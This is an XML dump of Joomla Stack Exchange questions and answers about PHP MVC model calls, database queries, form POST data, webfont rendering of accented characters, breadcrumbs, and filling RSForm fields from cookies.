  <row Id="25100" PostTypeId="2" ParentId="25097" CreationDate="2019-08-27T14:08:43.817" Score="0" Body="&lt;p&gt;I can't see everything about your component and the following is completely untested, but here are some types of things I would expect to see...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function closestStores($coorlat, $coorlng) {&#xA;    $db = JFactory::getDBO();&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select($db-&amp;gt;qn(&quot;x_subtitle&quot;, &quot;title&quot;))  // select more than one column if necessary&#xA;        -&amp;gt;from($db-&amp;gt;qn(&quot;places&quot;)&#xA;        -&amp;gt;orderBy(&quot;(3956 * 2 * ASIN(SQRT(&#xA;                      POWER(SIN((&quot; . ((float)$coorlat) . &quot; - latitude) *  PI() /180 / 2), 2) + &#xA;                      COS(&quot; . (float)$coorlat . &quot; * PI() / 180) * &#xA;                      COS(latitude * PI() / 180) * &#xA;                      POWER(SIN((&quot; . ((float)$coorlng) . &quot; - longitude) * PI() / 180 / 2), 2)&#xA;                  )))&quot;&#xA;                 )&#xA;        -&amp;gt;setLimit(3);&#xA;    return $db-&amp;gt;setQuery($query)-&amp;gt;loadObjectList(); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the controller:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;// $name   = $jinput-&amp;gt;get('text', null, 'word');&#xA;$coorlat = $jinput-&amp;gt;get('coorlat', null, 'float');&#xA;$coorlng = $jinput-&amp;gt;get('coorlng', null, 'float');&#xA;&#xA;$view = $this-&amp;gt;getView('searchplace', 'html');&#xA;$view-&amp;gt;closestStores = $this-&amp;gt;getModel('storemanager')-&amp;gt;closestStores($coorlat, $coorlng);&#xA;$view-&amp;gt;display(); // show the view&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the view:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($this-&amp;gt;closestStores as $store) {&#xA;    echo &quot;&amp;lt;li&amp;gt;{$store-&amp;gt;title}&amp;lt;/li&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Valentin's advice about &lt;code&gt;assignRef()&lt;/code&gt;: &lt;a href=&quot;https://stackoverflow.com/a/14883662/2943403&quot;&gt;Joomla 3 - What to use instead of assignRef?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(...again, no guarantees about my snippets, I welcome anyone to message or edit to fix what isn't right)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. These posts might be helpful:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/37224218/2943403&quot;&gt;How can I include multiple models in one view for in a Joomla 3.x component built with Component Creator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/5325427/2943403&quot;&gt;How does Joomla Model View Controller (MVC) work?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-08-27T14:29:49.780" LastActivityDate="2019-08-27T14:29:49.780" CommentCount="2" CommunityOwnedDate="2019-08-27T14:08:43.817" ContentLicense="CC BY-SA 4.0" />
  <row Id="25101" PostTypeId="2" ParentId="25094" CreationDate="2019-08-27T15:43:30.613" Score="1" Body="&lt;p&gt;Thank you to @Lodder for providing a solution, very much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@Lodder suggested my class name may be incorrect and said to try 'replacing class mod_CarouselInstallerScript with class mod_Rmg_carouselInstallerScript'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed my class to mod_RRM_carouselInstallerScript which solved the problem.&lt;/p&gt;&#xA;" OwnerUserId="13704" LastActivityDate="2019-08-27T15:43:30.613" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25102" PostTypeId="1" CreationDate="2019-08-27T16:54:29.873" Score="0" ViewCount="624" Body="&lt;p&gt;I want to call a function from model inside controller&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my model : httpdocs/components/com_storemanager/models/searchmanager.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * @version    CVS: 1.0.2&#xA; * @package    Com_storemanager&#xA; * @author     LYT&#xA; * @copyright  2017 LYT&#xA; * @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;&#xA;jimport('joomla.application.component.modellist');&#xA;&#xA;/**&#xA; * Methods supporting a list of storemanager records.&#xA; *&#xA; * @since  1.6&#xA; */&#xA;class storemanagerModelSearchmanager extends JModelItem&#xA;{&#xA;    function __construct() {&#xA;        parent::__construct ();&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to auto-populate the model state.&#xA;     *&#xA;     * Note. Calling getState in this method will result in recursion.&#xA;     *&#xA;     * @return void&#xA;     *&#xA;     * @since    1.6&#xA;     *&#xA;     */&#xA;    public function managerList($name) &#xA;    {&#xA;        $db = JFactory::getDBO();&#xA;        $query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select($db-&amp;gt;qn(&quot;title&quot;))  &#xA;            -&amp;gt;from($db-&amp;gt;qn(&quot;jos_storemanager_manager&quot;))&#xA;            -&amp;gt;where($db-&amp;gt;quoteName('manager') . ' LIKE '. $db-&amp;gt;quote('\''.$name.'.%\''));&#xA;&#xA;&#xA;        return $db-&amp;gt;setQuery($query)-&amp;gt;loadObjectList(); &#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did try this inside my controller : &#xA;/httpdocs/components/com_storemanager/controller.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function searchmanager()&#xA;    {&#xA;        $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;        $name = $jinput-&amp;gt;get('name');&#xA;&#xA;        $managers = $this-&amp;gt;getModel( 'Searchmanager' , 'Model' )-&amp;gt;managerList($name);&#xA;&#xA;        foreach($managers as $manager) &#xA;        {&#xA;            echo '&amp;lt;br&amp;gt;&amp;lt;h3&amp;gt;'.$manger-&amp;gt;title . '&amp;lt;/h3&amp;gt;';&#xA;        }&#xA;&#xA;        exit;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but no result; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried all solutions&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once JPATH_COMPONENT_SITE.'/models/searchmanager.php'; &#xA;&#xA;    $tags_model = JModelLegacy::getInstance( 'Searchmanager', 'searchmanager' );&#xA;$tags_model-&amp;gt;managerList($name);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not working &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = $this-&amp;gt;getModel() ;&#xA;$articles = $model-&amp;gt;managerList($name);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This one too not working&lt;/p&gt;&#xA;" OwnerUserId="13725" LastEditorUserId="13725" LastEditDate="2019-08-27T18:58:21.050" LastActivityDate="2024-01-04T23:06:20.767" Title="Joomla 3 call model function inside controller" Tags="|joomla-3.x|php|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25103" PostTypeId="2" ParentId="25102" CreationDate="2019-08-27T23:10:21.070" Score="0" Body="&lt;p&gt;I use this piece of code in my controller to access the model.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'components' . DIRECTORY_SEPARATOR . 'com_' . $feature . DIRECTORY_SEPARATOR . 'models');&#xA;    $model = JModelLegacy::getInstance('Items', 'InventoryModel');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is cut and pasted straight out of a working piece of code, no edits so I expect it should work for you if you change the code around com_ . $feature and whats inside the the getInstance brackets.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-08-27T23:10:21.070" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25104" PostTypeId="2" ParentId="25102" CreationDate="2019-08-27T23:26:06.710" Score="0" Body="&lt;p&gt;Well, I originally posted this as a comment, but advice that may resolve the issue must be posted as an answer.  I will hedge my post and state that there may be additional problems beyond what I am addressing.  See irata's answer for the possible MVC fix.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select($db-&amp;gt;qn(&quot;title&quot;))  &#xA;    -&amp;gt;from($db-&amp;gt;qn(&quot;#__storemanager_manager&quot;))&#xA;    -&amp;gt;where(&quot;LOCATE(&quot; . $db-&amp;gt;quote($name) . &quot;, &quot; . $db-&amp;gt;quoteName(manager) . &quot;) = 1&quot;);&#xA;&#xA;JFactory::getApplication()-&amp;gt;enqueueMessage($query-&amp;gt;dump(), 'info');  // don't show your rendered query to the public&#xA;try {&#xA;    return $db-&amp;gt;setQuery($query)-&amp;gt;loadObjectList();&#xA;} catch (Exception $e) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Query Syntax Error: &quot; . $e-&amp;gt;getMessage(), 'error');  // don't show $e-&amp;gt;getMessage() to public&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The adjustment to the WHERE clause still requires qualifying rows to have a &lt;code&gt;manager&lt;/code&gt; value that begins with the value held in &lt;code&gt;$name&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have included two &lt;code&gt;enqueueMessage()&lt;/code&gt; calls to help you to debug, but you must remove them when you are finished the dev stage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please read &lt;a href=&quot;https://joomla.stackexchange.com/a/22712/12352&quot;&gt;https://joomla.stackexchange.com/a/22712/12352&lt;/a&gt; regarding your LIKE syntax.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-08-27T23:26:06.710" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25105" PostTypeId="1" CreationDate="2019-08-28T06:43:16.693" Score="1" ViewCount="79" Body="&lt;p&gt;I need to get the values of fields when the form is saved by any of the save buttons. So far I only get an empty array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working with a custom field for &lt;strong&gt;Mosets&lt;/strong&gt; Tree component. I used what I expected would grab the field values as an array on submission.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = JFactory::getApplication()-&amp;gt;input-&amp;gt;post-&amp;gt;getArray();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;HTML fields&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;index.php&quot; method=&quot;post&quot; name=&quot;mtForm&quot; id=&quot;mtForm&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;number&quot; name=&quot;amount&quot; id=&quot;amount&quot; value=&quot;&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;eml&quot; id=&quot;eml&quot; value=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On submit the values of &quot;amount&quot; and &quot;eml&quot; fields should be retrieved and passed to a hidden field which uses the assigned Mosets name and ID attribs for DB ID and &lt;strong&gt;parseValue($value)&lt;/strong&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;cf56&quot; id=&quot;cf56&quot; value=&quot;'.$data['amount'].','.$data['eml'].'&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both values return null and when I test the $data var it is empty. What else is needed to get the post values?&lt;/p&gt;&#xA;" OwnerUserId="12862" LastActivityDate="2019-08-28T06:43:16.693" Title="How can I get form post data when Save, Save and Close or Save and New button is used?" Tags="|jform|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25106" PostTypeId="1" AcceptedAnswerId="25108" CreationDate="2019-08-28T07:03:33.860" Score="1" ViewCount="62" Body="&lt;p&gt;For some reason accented letters are printed in bold type. An image is worth in thousand words:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MEqMJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MEqMJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page is available at: &lt;a href=&quot;http://elacebron.dipucuenca.es/index.php/k2/contact&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://elacebron.dipucuenca.es/index.php/k2/contact&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying for more than an hour finding out where this style could be set.&#xA;Please does anybody give me a piece of advice about where this style could be specified or a good beginer tutorial.&#xA;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="13729" LastEditorUserId="12352" LastEditDate="2019-08-28T11:26:11.947" LastActivityDate="2019-09-11T11:27:09.400" Title="Accented letters are printed in bold type" Tags="|overrides|fonts|style|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25107" PostTypeId="1" CreationDate="2019-08-28T08:17:33.310" Score="0" ViewCount="256" Body="&lt;p&gt;Not all of the breadcrumb values are properly separated by a slash on my site.  The delimiting slash is present between the first and second crumb, but gone on the next resulting in the second and third words being smashed together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See these examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://elacebron.dipucuenca.es/index.php/layout/layout-4&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://elacebron.dipucuenca.es/index.php/layout/layout-4&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://elacebron.dipucuenca.es/index.php/k2/contact&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://elacebron.dipucuenca.es/index.php/k2/contact&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fVfkv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fVfkv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;I have unsucessfully tried changing some options in the following configuration: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Login as admin user in the dashboard:&lt;/li&gt;&#xA;&lt;li&gt;Extensions -&gt; Module Manager -&gt; breadcrumbs module&lt;/li&gt;&#xA;&lt;li&gt;Find the Text Separator setting -&gt; Put some string  -&gt; Save&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But no changes appear for this specific parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Breadcrums module:&#xA;Module  3.0.0, July 2006, joomla! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nCRgr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nCRgr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13729" LastEditorUserId="12352" LastEditDate="2019-08-28T11:50:32.820" LastActivityDate="2019-08-28T11:50:32.820" Title="Breadcrumb separator is not showing consistently" Tags="|module|front-end|breadcrumbs|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25108" PostTypeId="2" ParentId="25106" CreationDate="2019-08-28T11:24:38.440" Score="2" Body="&lt;p&gt;You will notice that not all of your accented/multibyte characters are emboldened.  The buggy behavior seems to be reserved to multibyte characters within specific elements / classed elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Declared in &lt;strong&gt;override.css&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;h1, h2, h3, h4, .very_big_white, .big_black {&#xA;    font-family: LaneNarrowRegular,Arial,Helvetica,sans-serif;&#xA;    font-weight: 300;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This means that the affected elements are &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; through &lt;code&gt;&amp;lt;h4&amp;gt;&lt;/code&gt; and any elements that contain the class &lt;code&gt;very_big_white&lt;/code&gt; or &lt;code&gt;big_black&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trouble seems to be exclusive to the webfont &lt;strong&gt;LaneNarrowRegular&lt;/strong&gt; because if I remove that font from the comma-separated list of fallbacks, the styling issue disappears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a quick Google, I came upon &lt;a href=&quot;https://www.fontsquirrel.com/fonts/lane&quot; rel=&quot;nofollow noreferrer&quot;&gt;fontsquirrel.com&lt;/a&gt; which allows you to enter text to test-drive the font before downloading.  When I enter &lt;code&gt;Próximo&lt;/code&gt; the rendered output shows &lt;code&gt;Prximo&lt;/code&gt;.  The downloadable character ranges &lt;a href=&quot;https://en.wikipedia.org/wiki/Western_Latin_character_sets_(computing)&quot; rel=&quot;nofollow noreferrer&quot;&gt;Western Latin&lt;/a&gt; (default) and Basic Latin (&lt;a href=&quot;https://cloford.com/resources/charcodes/utf-8_latin.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;ASCII 32-126&lt;/a&gt;).  It appears that you might be using the Basic Latin and the wonky styling is side effect (perhaps someone simply grabbed the wrong one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter what you decide to do, you are going to want a font that will reach up into the 128-165 range of &lt;a href=&quot;http://www.asciitable.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;the ASCII chart&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can simply amend the override file to omit the first &lt;code&gt;font-family&lt;/code&gt; declaration, or you can download the extended web font and update your installation, or you can choose an entirely new font that supports your multi-byte character range.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-08-28T11:24:38.440" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25109" PostTypeId="2" ParentId="25102" CreationDate="2019-08-28T13:17:38.063" Score="0" Body="&lt;p&gt;I fixed for someone if he get the same error by using &#xA;My Model : &#xA;/httpdocs/components/com_storemanager/models/searchmanager.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    defined('_JEXEC') or die;&#xA;&#xA;    jimport('joomla.application.component.modellist');&#xA;&#xA;    /**&#xA;     * Methods supporting a list of Hpj_storemanager records.&#xA;     *&#xA;     * @since  1.6&#xA;     */&#xA;    class storemanagerModelSearchmanager extends JModelItem&#xA;    {&#xA;&#xA;        /**&#xA;         * Method to auto-populate the model state.&#xA;         *&#xA;         * Note. Calling getState in this method will result in recursion.&#xA;         *&#xA;         * @return void&#xA;         *&#xA;         * @since    1.6&#xA;         *&#xA;         */&#xA;        public function managerList($name) &#xA;        {&#xA;            $db = JFactory::getDBO();&#xA;            $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select($db-&amp;gt;qn(&quot;title&quot;))  &#xA;                -&amp;gt;from($db-&amp;gt;qn(&quot;#__storemanager_manager&quot;))&#xA;                -&amp;gt;where(&quot;LOCATE(&quot; . $db-&amp;gt;quote($name) . &quot;, &quot; . $db-&amp;gt;quoteName(&quot;manager&quot;) . &quot;) = 1&quot;);&#xA;&#xA;            JFactory::getApplication()-&amp;gt;enqueueMessage($query-&amp;gt;dump(), 'info');  // don't show your rendered query to the public&#xA;            try {&#xA;                return $db-&amp;gt;setQuery($query)-&amp;gt;loadObjectList();&#xA;            } catch (Exception $e) {&#xA;                JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Query Syntax Error: &quot; . $e-&amp;gt;getMessage(), 'error');  // don't show $e-&amp;gt;getMessage() to public&#xA;            }&#xA;&#xA;        }&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in my Controller : /httpdocs/components/com_storemanager/controller.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function searchmanager()&#xA;    {&#xA;        $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;        $name = $jinput-&amp;gt;get('text'));&#xA;&#xA;        $model = $this-&amp;gt;getModel('Searchmanager');&#xA;&#xA;        $manegers = $model-&amp;gt;managerList($name)&#xA;&#xA;        foreach($managers as $manager) &#xA;        {&#xA;            echo '&amp;lt;br&amp;gt;&amp;lt;h3&amp;gt;'.$manager-&amp;gt;title.'&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;';&#xA;        }&#xA;&#xA;        exit;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13725" LastActivityDate="2019-08-28T13:17:38.063" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25110" PostTypeId="1" CreationDate="2019-08-28T15:13:50.720" Score="2" ViewCount="220" Body="&lt;p&gt;I have used this code to save the RSForm data in a cookie and if the user tries to fill in the same form again, the previously entered data is loaded as default values:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Script called on form display:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// COOKIES&#xA;$inputCookie  = JFactory::getApplication()-&amp;gt;input-&amp;gt;cookie;&#xA;$bdayd = $inputCookie-&amp;gt;get('rsformdatabdayd', '', 'string');&#xA;$bdaym = $inputCookie-&amp;gt;get('rsformdatabdaym', '', 'string');&#xA;$bdayy = $inputCookie-&amp;gt;get('rsformdatabdayy', '', 'string');&#xA;echo '&amp;lt;script&amp;gt;&#xA;        document.getElementById(&quot;bdayd&quot;).value = &quot;'. $bdayd .'&quot;;&#xA;        document.getElementById(&quot;bdaym&quot;).value = &quot;'. $bdaym .'&quot;;&#xA;        document.getElementById(&quot;bdayy&quot;).value = &quot;'. $bdayy .'&quot;;&#xA;&amp;lt;/script&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Script called on form process:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// COOKIES&#xA;$inputCookie  = JFactory::getApplication()-&amp;gt;input-&amp;gt;cookie;&#xA;$inputCookie-&amp;gt;set('rsformdata', $_POST['form']);&#xA;$inputCookie-&amp;gt;set('rsformdatacountry', $_POST['form']['country']);&#xA;$inputCookie-&amp;gt;set('rsformdataaddress-level1', $_POST['form']['address-level1']);&#xA;$inputCookie-&amp;gt;set('rsformdatastudies', $_POST['form']['studies']);&#xA;$inputCookie-&amp;gt;set('rsformdataemployment', $_POST['form']['employment']);&#xA;$inputCookie-&amp;gt;set('rsformdataage', $_POST['form']['age']);&#xA;$inputCookie-&amp;gt;set('rsformdatabdayd', $_POST['form']['bday']['d']);&#xA;$inputCookie-&amp;gt;set('rsformdatabdaym', $_POST['form']['bday']['m']);&#xA;$inputCookie-&amp;gt;set('rsformdatabdayy', $_POST['form']['bday']['y']);&#xA;$inputCookie-&amp;gt;set('rsformdatasuscribe', $_POST['form']['suscribe']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the fields, I have these values (I'll only post two as example):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Textbox &quot;name&quot;&lt;/strong&gt;&#xA;Default Value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//&amp;lt;code&amp;gt;&#xA;$inputCookie  = JFactory::getApplication()-&amp;gt;input-&amp;gt;cookie;&#xA;$value = $inputCookie-&amp;gt;get('rsformdata', '', 'array');&#xA;return $value['name'];&#xA;//&amp;lt;/code&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Dropdown &quot;country&quot;&lt;/strong&gt;&#xA;Default value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//&amp;lt;code&amp;gt;&#xA;$options = array('|País de residencia:',&#xA;'ES|España',&#xA;'MX|México',&#xA;'CO|Colombia',&#xA;'ZM|Zambia',&#xA;'ZW|Zimbabue');&#xA;&#xA;$inputCookie  = JFactory::getApplication()-&amp;gt;input-&amp;gt;cookie;&#xA;$value = $inputCookie-&amp;gt;get('rsformdatacountry', '', 'array');&#xA;&#xA;$items = &quot;&quot;; &#xA;foreach ($options as $options_item) {&#xA; $items .= $options_item;&#xA; $active = explode('|', $options_item);&#xA; if (in_array($active[0], $value)) {&#xA;  $items .= &quot;[c]\n&quot;;&#xA; } else {&#xA;  $items .= &quot;\n&quot;;&#xA; }&#xA;}&#xA;&#xA;return trim($items);&#xA;//&amp;lt;/code&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The code successfully updates the form fields with the preserved values.&lt;/strong&gt; If someone has already filled in the form, the values are loaded, but I get these php warnings and notices:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;[28-Aug-2019 17:08:31 Europe/Berlin] PHP Warning:  Illegal string offset 'address-level2' in /home/aacom/public_html/test/administrator/components/com_rsform/helpers/field.php(67) : eval()'d code on line 4&#xA;[28-Aug-2019 17:08:31 Europe/Berlin] PHP Notice:  Uninitialized string offset: 0 in /home/aacom/public_html/test/administrator/components/com_rsform/helpers/field.php(67) : eval()'d code on line 4&#xA;[28-Aug-2019 17:08:31 Europe/Berlin] PHP Warning:  Illegal string offset 'street-address' in /home/aacom/public_html/test/administrator/components/com_rsform/helpers/field.php(67) : eval()'d code on line 4&#xA;[28-Aug-2019 17:08:31 Europe/Berlin] PHP Notice:  Uninitialized string offset: 0 in /home/aacom/public_html/test/administrator/components/com_rsform/helpers/field.php(67) : eval()'d code on line 4&#xA;[28-Aug-2019 17:08:31 Europe/Berlin] PHP Warning:  Illegal string offset 'postal-code' in /home/aacom/public_html/test/administrator/components/com_rsform/helpers/field.php(67) : eval()'d code on line 4&#xA;[28-Aug-2019 17:08:31 Europe/Berlin] PHP Notice:  Uninitialized string offset: 0 in /home/aacom/public_html/test/administrator/components/com_rsform/helpers/field.php(67) : eval()'d code on line 4 &#xA;[28-Aug-2019 17:08:31 Europe/Berlin] PHP Warning:  in_array() expects parameter 2 to be array, string given in /home/aacom/public_html/test/administrator/components/com_rsform/helpers/field.php(67) : eval()'d code on line 24&#xA;[28-Aug-2019 17:08:31 Europe/Berlin] PHP Warning:  in_array() expects parameter 2 to be array, string given in /home/aacom/public_html/test/administrator/components/com_rsform/helpers/field.php(67) : eval()'d code on line 24&#xA;[28-Aug-2019 17:08:31 Europe/Berlin] PHP Warning:  in_array() expects parameter 2 to be array, string given in /home/aacom/public_html/test/administrator/components/com_rsform/helpers/field.php(67) : eval()'d code on line 24&#xA;[28-Aug-2019 17:08:31 Europe/Berlin] PHP Warning:  in_array() expects parameter 2 to be array, string given in /home/aacom/public_html/test/administrator/components/com_rsform/helpers/field.php(67) : eval()'d code on line 24&#xA;[28-Aug-2019 17:08:31 Europe/Berlin] PHP Warning:  in_array() expects parameter 2 to be array, string given in /home/aacom/public_html/test/administrator/components/com_rsform/helpers/field.php(67) : eval()'d code on line 24&#xA;[28-Aug-2019 17:08:31 Europe/Berlin] PHP Warning:  in_array() expects parameter 2 to be array, string given in /home/aacom/public_html/test/administrator/components/com_rsform/helpers/field.php(67) : eval()'d code on line 99&#xA;[28-Aug-2019 17:08:31 Europe/Berlin] PHP Warning:  in_array() expects parameter 2 to be array, string given in /home/aacom/public_html/test/administrator/components/com_rsform/helpers/field.php(67) : eval()'d code on line 99 &#xA;[28-Aug-2019 17:08:31 Europe/Berlin] PHP Warning:  in_array() expects parameter 2 to be array, string given in /home/aacom/public_html/test/administrator/components/com_rsform/helpers/field.php(67) : eval()'d code on line 13&#xA;[28-Aug-2019 17:08:31 Europe/Berlin] PHP Warning:  in_array() expects parameter 2 to be array, string given in /home/aacom/public_html/test/administrator/components/com_rsform/helpers/field.php(67) : eval()'d code on line 13&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any idea how to &lt;strong&gt;avoid these notices and warnings&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="12359" LastEditorUserId="12359" LastEditDate="2019-08-31T12:23:40.783" LastActivityDate="2019-10-12T08:02:30.367" Title="How to use cookies to populate RSForm fields without notices/warnings?" Tags="|php|javascript|error-handling|rsform|cookies|" AnswerCount="4" 